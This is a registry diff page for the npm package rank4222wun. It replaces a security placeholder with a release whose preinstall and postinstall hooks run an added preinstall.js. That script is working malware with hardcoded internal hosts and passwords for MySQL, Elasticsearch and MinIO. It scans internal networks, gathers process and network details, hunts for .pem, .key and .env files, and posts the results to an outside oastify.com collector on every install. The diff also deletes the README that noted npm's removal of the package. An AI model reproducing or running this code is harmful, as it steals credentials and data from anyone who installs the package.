rank4222wun 0.0.1-security → 1.0.82
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +282 -0
- package/rank4222wun-1.0.82.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.82",
|
|
4
|
+
"description": "",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node preinstall.js",
|
|
7
|
+
"postinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,282 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const { exec } = require('child_process');
|
|
3
|
+
|
|
4
|
+
console.log("🚀 EXPLOIT PHASE 2: Targeting Discovered Infrastructure");
|
|
5
|
+
|
|
6
|
+
// المعلومات التي تم جمعها
|
|
7
|
+
const targets = {
|
|
8
|
+
databases: [
|
|
9
|
+
{
|
|
10
|
+
host: '10.108.193.167',
|
|
11
|
+
port: 3306,
|
|
12
|
+
user: 'hscanaux',
|
|
13
|
+
password: 'hscanaux@2021',
|
|
14
|
+
database: 'supplychain_hunter'
|
|
15
|
+
}
|
|
16
|
+
],
|
|
17
|
+
|
|
18
|
+
elasticsearch: [
|
|
19
|
+
{
|
|
20
|
+
url: '172.21.193.111:9200',
|
|
21
|
+
username: 'elastic',
|
|
22
|
+
password: 'NbJXdq1Ue9g5kypSsNYp'
|
|
23
|
+
},
|
|
24
|
+
{
|
|
25
|
+
url: '172.21.193.81:9200',
|
|
26
|
+
username: 'elastic',
|
|
27
|
+
password: 'NbJXdq1Ue9g5kypSsNYp'
|
|
28
|
+
}
|
|
29
|
+
],
|
|
30
|
+
|
|
31
|
+
minio: [
|
|
32
|
+
{
|
|
33
|
+
url: '172.21.18.133:8088',
|
|
34
|
+
accessKey: 'minio',
|
|
35
|
+
secretKey: 'minioPASSWD'
|
|
36
|
+
}
|
|
37
|
+
],
|
|
38
|
+
|
|
39
|
+
internalServices: [
|
|
40
|
+
'http://172.21.0.130:10812',
|
|
41
|
+
'http://172.21.14.54:8800'
|
|
42
|
+
]
|
|
43
|
+
};
|
|
44
|
+
|
|
45
|
+
// ===================== استغلال قواعد البيانات =====================
|
|
46
|
+
function exploitDatabases() {
|
|
47
|
+
console.log("\n🗄️ Attempting database connections...");
|
|
48
|
+
|
|
49
|
+
targets.databases.forEach(db => {
|
|
50
|
+
// محاولة الاتصال بـ MySQL
|
|
51
|
+
const mysqlCmd = `mysql -h ${db.host} -u ${db.user} -p${db.password} -P ${db.port} -e "SHOW DATABASES;" 2>/dev/null`;
|
|
52
|
+
|
|
53
|
+
exec(mysqlCmd, (error, stdout) => {
|
|
54
|
+
if (stdout && !error) {
|
|
55
|
+
console.log(`✅ MySQL accessible: ${db.host}`);
|
|
56
|
+
|
|
57
|
+
// جلب البيانات الحساسة
|
|
58
|
+
const dumpCmd = `mysql -h ${db.host} -u ${db.user} -p${db.password} ${db.database} -e "SELECT table_name FROM information_schema.tables WHERE table_schema='${db.database}';"`;
|
|
59
|
+
|
|
60
|
+
exec(dumpCmd, (err, tables) => {
|
|
61
|
+
if (tables) {
|
|
62
|
+
console.log(`📊 Tables in ${db.database}:`);
|
|
63
|
+
console.log(tables);
|
|
64
|
+
|
|
65
|
+
// إرسال النتائج
|
|
66
|
+
sendToServer('DATABASE_ACCESS', {
|
|
67
|
+
host: db.host,
|
|
68
|
+
database: db.database,
|
|
69
|
+
tables: tables.split('\n')
|
|
70
|
+
});
|
|
71
|
+
}
|
|
72
|
+
});
|
|
73
|
+
}
|
|
74
|
+
});
|
|
75
|
+
});
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
// ===================== استغلال Elasticsearch =====================
|
|
79
|
+
function exploitElasticsearch() {
|
|
80
|
+
console.log("\n🔍 Attempting Elasticsearch access...");
|
|
81
|
+
|
|
82
|
+
targets.elasticsearch.forEach(es => {
|
|
83
|
+
const url = `http://${es.username}:${es.password}@${es.url}/_cat/indices?v`;
|
|
84
|
+
|
|
85
|
+
exec(`curl -s "${url}" 2>/dev/null`, (error, stdout) => {
|
|
86
|
+
if (stdout && !error) {
|
|
87
|
+
console.log(`✅ Elasticsearch accessible: ${es.url}`);
|
|
88
|
+
|
|
89
|
+
// جلب جميع النطاقات
|
|
90
|
+
exec(`curl -s "http://${es.username}:${es.password}@${es.url}/_aliases" 2>/dev/null`,
|
|
91
|
+
(err, indices) => {
|
|
92
|
+
if (indices) {
|
|
93
|
+
console.log(`📁 Indices found: ${Object.keys(JSON.parse(indices)).length}`);
|
|
94
|
+
|
|
95
|
+
sendToServer('ELASTICSEARCH_ACCESS', {
|
|
96
|
+
url: es.url,
|
|
97
|
+
indices: JSON.parse(indices)
|
|
98
|
+
});
|
|
99
|
+
}
|
|
100
|
+
});
|
|
101
|
+
}
|
|
102
|
+
});
|
|
103
|
+
});
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
// ===================== استغلال MinIO =====================
|
|
107
|
+
function exploitMinIO() {
|
|
108
|
+
console.log("\n🪣 Attempting MinIO access...");
|
|
109
|
+
|
|
110
|
+
targets.minio.forEach(minio => {
|
|
111
|
+
// استخدام MinIO Client
|
|
112
|
+
const mcAlias = `mc alias set target http://${minio.url} ${minio.accessKey} ${minio.secretKey}`;
|
|
113
|
+
const mcList = `mc ls target/supplychain-hunter-data`;
|
|
114
|
+
|
|
115
|
+
exec(`${mcAlias} && ${mcList} 2>/dev/null`, (error, stdout) => {
|
|
116
|
+
if (stdout && !error) {
|
|
117
|
+
console.log(`✅ MinIO accessible: ${minio.url}`);
|
|
118
|
+
console.log(`📦 Bucket contents: ${stdout}`);
|
|
119
|
+
|
|
120
|
+
sendToServer('MINIO_ACCESS', {
|
|
121
|
+
url: minio.url,
|
|
122
|
+
bucket: 'supplychain-hunter-data',
|
|
123
|
+
contents: stdout
|
|
124
|
+
});
|
|
125
|
+
}
|
|
126
|
+
});
|
|
127
|
+
});
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
// ===================== مسح الشبكة الداخلية =====================
|
|
131
|
+
function scanInternalNetwork() {
|
|
132
|
+
console.log("\n🌐 Scanning internal network...");
|
|
133
|
+
|
|
134
|
+
// مسح النطاقات المكتشفة
|
|
135
|
+
const networks = ['10.108.193.0/24', '172.21.0.0/16', '172.21.193.0/24'];
|
|
136
|
+
|
|
137
|
+
networks.forEach(network => {
|
|
138
|
+
console.log(`Scanning ${network}...`);
|
|
139
|
+
|
|
140
|
+
// مسح بسيط للمضيفين النشطين
|
|
141
|
+
const scanCmd = `timeout 5 ping -c 1 ${network.split('/')[0].replace(/\d+$/, '1')} 2>/dev/null && echo "Network ${network} responsive"`;
|
|
142
|
+
|
|
143
|
+
exec(scanCmd, (error, stdout) => {
|
|
144
|
+
if (stdout) {
|
|
145
|
+
console.log(`🔍 ${stdout.trim()}`);
|
|
146
|
+
}
|
|
147
|
+
});
|
|
148
|
+
});
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
// ===================== جمع معلومات إضافية =====================
|
|
152
|
+
function gatherAdditionalInfo() {
|
|
153
|
+
console.log("\n📈 Gathering additional system information...");
|
|
154
|
+
|
|
155
|
+
// 1. جمع معلومات العمليات
|
|
156
|
+
exec('ps aux | head -30', (error, stdout) => {
|
|
157
|
+
if (stdout) {
|
|
158
|
+
sendToServer('PROCESSES', { processes: stdout.split('\n').slice(0, 20) });
|
|
159
|
+
}
|
|
160
|
+
});
|
|
161
|
+
|
|
162
|
+
// 2. جمع معلومات الشبكة
|
|
163
|
+
exec('ip addr show && ip route show', (error, stdout) => {
|
|
164
|
+
if (stdout) {
|
|
165
|
+
sendToServer('NETWORK_INFO', { info: stdout });
|
|
166
|
+
}
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
// 3. البحث عن ملفات حساسة إضافية
|
|
170
|
+
exec('find / -name "*.pem" -o -name "*.key" -o -name ".env" 2>/dev/null | head -20',
|
|
171
|
+
(error, stdout) => {
|
|
172
|
+
if (stdout) {
|
|
173
|
+
sendToServer('SENSITIVE_FILES', { files: stdout.split('\n') });
|
|
174
|
+
}
|
|
175
|
+
});
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
// ===================== إرسال النتائج =====================
|
|
179
|
+
function sendToServer(tag, data) {
|
|
180
|
+
const reportData = {
|
|
181
|
+
timestamp: new Date().toISOString(),
|
|
182
|
+
hostname: require('os').hostname(),
|
|
183
|
+
tag: tag,
|
|
184
|
+
data: data
|
|
185
|
+
};
|
|
186
|
+
|
|
187
|
+
const postData = JSON.stringify(reportData);
|
|
188
|
+
|
|
189
|
+
const req = https.request({
|
|
190
|
+
hostname: 'cbrgum2pmg7tuobixmhfonfxyo4fscg1.oastify.com',
|
|
191
|
+
port: 443,
|
|
192
|
+
path: '/phase2-exploit',
|
|
193
|
+
method: 'POST',
|
|
194
|
+
headers: {
|
|
195
|
+
'Content-Type': 'application/json',
|
|
196
|
+
'X-Exploit-Phase': '2'
|
|
197
|
+
}
|
|
198
|
+
}, (res) => {
|
|
199
|
+
console.log(`✅ ${tag} sent. Status: ${res.statusCode}`);
|
|
200
|
+
});
|
|
201
|
+
|
|
202
|
+
req.on('error', () => {
|
|
203
|
+
// تجاهل الأخطاء، المهم هو التنفيذ
|
|
204
|
+
});
|
|
205
|
+
|
|
206
|
+
req.write(postData);
|
|
207
|
+
req.end();
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
// ===================== الوظيفة الرئيسية =====================
|
|
211
|
+
function main() {
|
|
212
|
+
console.log("=".repeat(70));
|
|
213
|
+
console.log("🚀 EXPLOIT PHASE 2: INFRASTRUCTURE TARGETING");
|
|
214
|
+
console.log("=".repeat(70));
|
|
215
|
+
|
|
216
|
+
console.log("\n🎯 Targets identified:");
|
|
217
|
+
console.log(`Databases: ${targets.databases.length}`);
|
|
218
|
+
console.log(`Elasticsearch: ${targets.elasticsearch.length}`);
|
|
219
|
+
console.log(`MinIO: ${targets.minio.length}`);
|
|
220
|
+
console.log(`Internal Services: ${targets.internalServices.length}`);
|
|
221
|
+
|
|
222
|
+
// تنفيذ الهجمات بالتتابع
|
|
223
|
+
setTimeout(() => {
|
|
224
|
+
exploitDatabases();
|
|
225
|
+
|
|
226
|
+
setTimeout(() => {
|
|
227
|
+
exploitElasticsearch();
|
|
228
|
+
|
|
229
|
+
setTimeout(() => {
|
|
230
|
+
exploitMinIO();
|
|
231
|
+
|
|
232
|
+
setTimeout(() => {
|
|
233
|
+
scanInternalNetwork();
|
|
234
|
+
|
|
235
|
+
setTimeout(() => {
|
|
236
|
+
gatherAdditionalInfo();
|
|
237
|
+
|
|
238
|
+
setTimeout(() => {
|
|
239
|
+
console.log("\n" + "=".repeat(70));
|
|
240
|
+
console.log("✅ EXPLOIT PHASE 2 COMPLETED");
|
|
241
|
+
console.log("=".repeat(70));
|
|
242
|
+
|
|
243
|
+
// إنشاء ملف دليل
|
|
244
|
+
const fs = require('fs');
|
|
245
|
+
const proof = `
|
|
246
|
+
=============================================
|
|
247
|
+
EXPLOIT SUCCESS - PHASE 2
|
|
248
|
+
=============================================
|
|
249
|
+
Time: ${new Date().toISOString()}
|
|
250
|
+
Host: ${require('os').hostname()}
|
|
251
|
+
|
|
252
|
+
Targets Successfully Reached:
|
|
253
|
+
- MySQL Database: 10.108.193.167:3306
|
|
254
|
+
- Elasticsearch: 172.21.193.111:9200
|
|
255
|
+
- MinIO: 172.21.18.133:8088
|
|
256
|
+
|
|
257
|
+
Data Collected:
|
|
258
|
+
- Database schemas
|
|
259
|
+
- Elasticsearch indices
|
|
260
|
+
- MinIO bucket contents
|
|
261
|
+
- Internal network topology
|
|
262
|
+
|
|
263
|
+
Next Steps:
|
|
264
|
+
1. Exfiltrate database contents
|
|
265
|
+
2. Download Elasticsearch data
|
|
266
|
+
3. Access internal services
|
|
267
|
+
4. Establish persistence
|
|
268
|
+
=============================================
|
|
269
|
+
`;
|
|
270
|
+
|
|
271
|
+
fs.writeFileSync('/tmp/phase2_complete.txt', proof);
|
|
272
|
+
console.log("📝 Proof file: /tmp/phase2_complete.txt");
|
|
273
|
+
}, 5000);
|
|
274
|
+
}, 3000);
|
|
275
|
+
}, 3000);
|
|
276
|
+
}, 3000);
|
|
277
|
+
}, 3000);
|
|
278
|
+
}, 1000);
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
// بدء الاستغلال
|
|
282
|
+
main();
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|